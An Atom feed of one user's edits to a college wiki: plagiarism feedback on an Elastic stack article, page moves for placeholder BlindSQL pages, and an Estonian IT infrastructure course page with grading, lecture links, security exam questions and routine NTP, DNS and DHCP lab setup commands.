<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://wiki.itcollege.ee/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Mernits</id>
	<title>ICO wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.itcollege.ee/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Mernits"/>
	<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php/Special:Contributions/Mernits"/>
	<updated>2026-05-05T04:21:22Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Talk:Logging_and_monitoring_with_Elastic_stack_on_Ubuntu_16.04&amp;diff=123781</id>
		<title>Talk:Logging and monitoring with Elastic stack on Ubuntu 16.04</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Talk:Logging_and_monitoring_with_Elastic_stack_on_Ubuntu_16.04&amp;diff=123781"/>
		<updated>2017-06-20T09:39:04Z</updated>

		<summary type="html">&lt;p&gt;Mernits: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;There is no citations.&lt;br /&gt;
Seems that author copied/pasted large part of this wiki from https://www.howtoforge.com/tutorial/how-to-install-elastic-stack-on-ubuntu-16-04/ without any citation/credit to original author. Seems that this is a case of https://en.wikipedia.org/wiki/Plagiarism&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I can&#039;t see author&#039;s contribution!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
No summary or conclusions.&lt;br /&gt;
&lt;br /&gt;
Some mistakes: &amp;lt;code&amp;gt; cd /etc/elasticsearch/ &amp;lt;code&amp;gt; &amp;lt;--no closing tag.&lt;br /&gt;
&lt;br /&gt;
Sometimes is not clear (for beginners) on which machine is used for entering commands.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Author mentioned a CentOS 7 but no commands related to this OS. (copy paste error?)&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Talk:Logging_and_monitoring_with_Elastic_stack_on_Ubuntu_16.04&amp;diff=123780</id>
		<title>Talk:Logging and monitoring with Elastic stack on Ubuntu 16.04</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Talk:Logging_and_monitoring_with_Elastic_stack_on_Ubuntu_16.04&amp;diff=123780"/>
		<updated>2017-06-20T09:37:59Z</updated>

		<summary type="html">&lt;p&gt;Mernits: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;There is no citations.&lt;br /&gt;
Seems that author copied/pasted large part of this wiki from https://www.howtoforge.com/tutorial/how-to-install-elastic-stack-on-ubuntu-16-04/ without any citation/credit to original author.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I can&#039;t see author&#039;s contribution!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
No summary or conclusions.&lt;br /&gt;
&lt;br /&gt;
Some mistakes: &amp;lt;code&amp;gt; cd /etc/elasticsearch/ &amp;lt;code&amp;gt; &amp;lt;--no closing tag.&lt;br /&gt;
&lt;br /&gt;
Sometimes is not clear (for beginners) on which machine is used for entering commands.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Author mentioned a CentOS 7 but no commands related to this OS. (copy paste error?)&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Talk:Logging_and_monitoring_with_Elastic_stack_on_Ubuntu_16.04&amp;diff=123779</id>
		<title>Talk:Logging and monitoring with Elastic stack on Ubuntu 16.04</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Talk:Logging_and_monitoring_with_Elastic_stack_on_Ubuntu_16.04&amp;diff=123779"/>
		<updated>2017-06-20T09:26:22Z</updated>

		<summary type="html">&lt;p&gt;Mernits: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;There is no citations.&lt;br /&gt;
&lt;br /&gt;
Author mentioned a CentOS 7 but no commands related to this OS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seems that author copied/pasted large part of this wiki from https://www.howtoforge.com/tutorial/how-to-install-elastic-stack-on-ubuntu-16-04/ without any citation/credit to original author.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I can&#039;t see author&#039;s contribution!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
No summary or conclusions.&lt;br /&gt;
&lt;br /&gt;
Some mistakes: &amp;lt;code&amp;gt; cd /etc/elasticsearch/ &amp;lt;code&amp;gt; &amp;lt;--no closing tag.&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Talk:Logging_and_monitoring_with_Elastic_stack_on_Ubuntu_16.04&amp;diff=123778</id>
		<title>Talk:Logging and monitoring with Elastic stack on Ubuntu 16.04</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Talk:Logging_and_monitoring_with_Elastic_stack_on_Ubuntu_16.04&amp;diff=123778"/>
		<updated>2017-06-20T09:25:11Z</updated>

		<summary type="html">&lt;p&gt;Mernits: Created page with &amp;quot;There is no citations.  Author mentioned a CentOS 7 but no commands related to this OS.   Seems that author copied/pasted large part of this wiki from https://www.howtoforge.c...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;There is no citations.&lt;br /&gt;
&lt;br /&gt;
Author mentioned a CentOS 7 but no commands related to this OS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seems that author copied/pasted large part of this wiki from https://www.howtoforge.com/tutorial/how-to-install-elastic-stack-on-ubuntu-16-04/ without any citation/credit to original author.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I can&#039;t see author&#039;s contribution!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
No summary or conclusions.&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=BlidSQL_Guide&amp;diff=123150</id>
		<title>BlidSQL Guide</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=BlidSQL_Guide&amp;diff=123150"/>
		<updated>2017-06-05T07:09:21Z</updated>

		<summary type="html">&lt;p&gt;Mernits: Mernits moved page BlidSQL Guide to BlindSQL Guide&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[BlindSQL Guide]]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=BlindSQL_Guide&amp;diff=123149</id>
		<title>BlindSQL Guide</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=BlindSQL_Guide&amp;diff=123149"/>
		<updated>2017-06-05T07:09:21Z</updated>

		<summary type="html">&lt;p&gt;Mernits: Mernits moved page BlidSQL Guide to BlindSQL Guide&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Õpijuhis on täiendamisel ning lisandub antud lehele kuupäevaks 06.06.2017.&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=BlidSQL_Material&amp;diff=123148</id>
		<title>BlidSQL Material</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=BlidSQL_Material&amp;diff=123148"/>
		<updated>2017-06-05T07:08:46Z</updated>

		<summary type="html">&lt;p&gt;Mernits: Mernits moved page BlidSQL Material to BlindSQL Material&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[BlindSQL Material]]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=BlindSQL_Material&amp;diff=123147</id>
		<title>BlindSQL Material</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=BlindSQL_Material&amp;diff=123147"/>
		<updated>2017-06-05T07:08:46Z</updated>

		<summary type="html">&lt;p&gt;Mernits: Mernits moved page BlidSQL Material to BlindSQL Material&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Õpimaterjal on täiendamisel ning lisandub antud lehele kuupäevaks 06.06.17.&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Introduction_to_Cyber_Security&amp;diff=98097</id>
		<title>Introduction to Cyber Security</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Introduction_to_Cyber_Security&amp;diff=98097"/>
		<updated>2015-11-29T16:51:28Z</updated>

		<summary type="html">&lt;p&gt;Mernits: Created page with &amp;quot; = Introduction to Cyber Security =   This page is under construction.  == Introduction ==   == Lectures ==   == Practical classes ==   = Homework =   = Grading =&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
= Introduction to Cyber Security =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This page is under construction.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lectures ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Practical classes ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Homework =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Grading =&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=90041</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=90041"/>
		<updated>2015-06-13T09:19:01Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* Referaadi teemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Üldinfo==&lt;br /&gt;
&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
===Õppejõud===&lt;br /&gt;
&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
==Eesmärk ja sisu==&lt;br /&gt;
&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
==Ainekaart==&lt;br /&gt;
&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
==Eelmiste aastate tagasiside==&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
==Arvestus ja hindamine==&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
===Tähtajad päevaõppele 2015===&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
===Tähtajad kaugõppele 2015===&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
==Loengud==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Mõisted kontrolltööks ja arvestuseks==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                        3      ; Serial - Mida see tähendab?&lt;br /&gt;
                        3600   ; Refresh - Mida see tähendab?&lt;br /&gt;
                        8640   ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000  ; Expire - Mida see tähendab?&lt;br /&gt;
                        3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
==Dokumentatsioon==&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
==Referaadi teemad 2015==&lt;br /&gt;
&lt;br /&gt;
*[[mod_proxy]]&lt;br /&gt;
*[[w3af]] &lt;br /&gt;
*[[aptly]] -- http://www.aptly.info/&lt;br /&gt;
*[[dnf]] -- DNF package manager&lt;br /&gt;
*[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameetrid&lt;br /&gt;
*[[sqlmap]]&lt;br /&gt;
*[[Kippo SSH Honeypot]]&lt;br /&gt;
*[[p0f]] http://tools.kali.org/information-gathering/p0f&lt;br /&gt;
*[[hping]] http://www.hping.org/&lt;br /&gt;
*[[Yersinia]] -  http://www.yersinia.net/&lt;br /&gt;
*[[WPScan]] - http://wpscan.org/&lt;br /&gt;
*[[Aircrack]]&lt;br /&gt;
*[[ntop]]&lt;br /&gt;
*[[Nikto]]&lt;br /&gt;
*[[Varnish]] - Artikkel on olemas, kuid vajab kaasajastamist (Artikli valimise korral kirjuta artikli algusesse suurelt: Kaasajastab &amp;lt;Sinu ees- ja perekonnanimi&amp;gt;, 2015, &amp;lt;rühm&amp;gt;&lt;br /&gt;
*[[DigiNotar]]&lt;br /&gt;
*[[Ipkungfu Tulemüür]]&lt;br /&gt;
*[[iodine]]&lt;br /&gt;
*[[fabric]]&lt;br /&gt;
*[[mpstat]]&lt;br /&gt;
*[[arpwatch]]&lt;br /&gt;
*[[ss]] &lt;br /&gt;
*[[glances]]&lt;br /&gt;
*[[mod_status]]&lt;br /&gt;
*[[smoothwall]]&lt;br /&gt;
*[[squid]]&lt;br /&gt;
*[[split DNS]]&lt;br /&gt;
*[[Openssl ja Subject Alternative Name]]&lt;br /&gt;
*[[dotDefender]]&lt;br /&gt;
&lt;br /&gt;
==Abimaterjal==&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
==Praktilised tööd==&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
===Sissejuhatav praktikum===&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
 nano /etc/network/interfaces&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&lt;br /&gt;
 echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
 127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
 127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
Käivitage teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 service hostname start&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&lt;br /&gt;
 hostname -f&lt;br /&gt;
&lt;br /&gt;
Seadistage ka [[OpenSSH:_võtmetega_autentimine| võtmetepõhine autentimine]].&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
===Labor 1 - NTP seadistamine (6p/6%)===&lt;br /&gt;
&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha [https://www.us-cert.gov/ncas/alerts/TA14-013A siin] kirjeldatud rünnet.&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
===Labor 2 - DNS seadistamine (6p/6%)===&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS Näitelahendus 1]&lt;br /&gt;
&lt;br /&gt;
[[Nimeserveri labor V.2| DNS Näitelahendus 2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
===Labor 3 - DHCP seadistamine (6p/6%)===&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
===Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)===&lt;br /&gt;
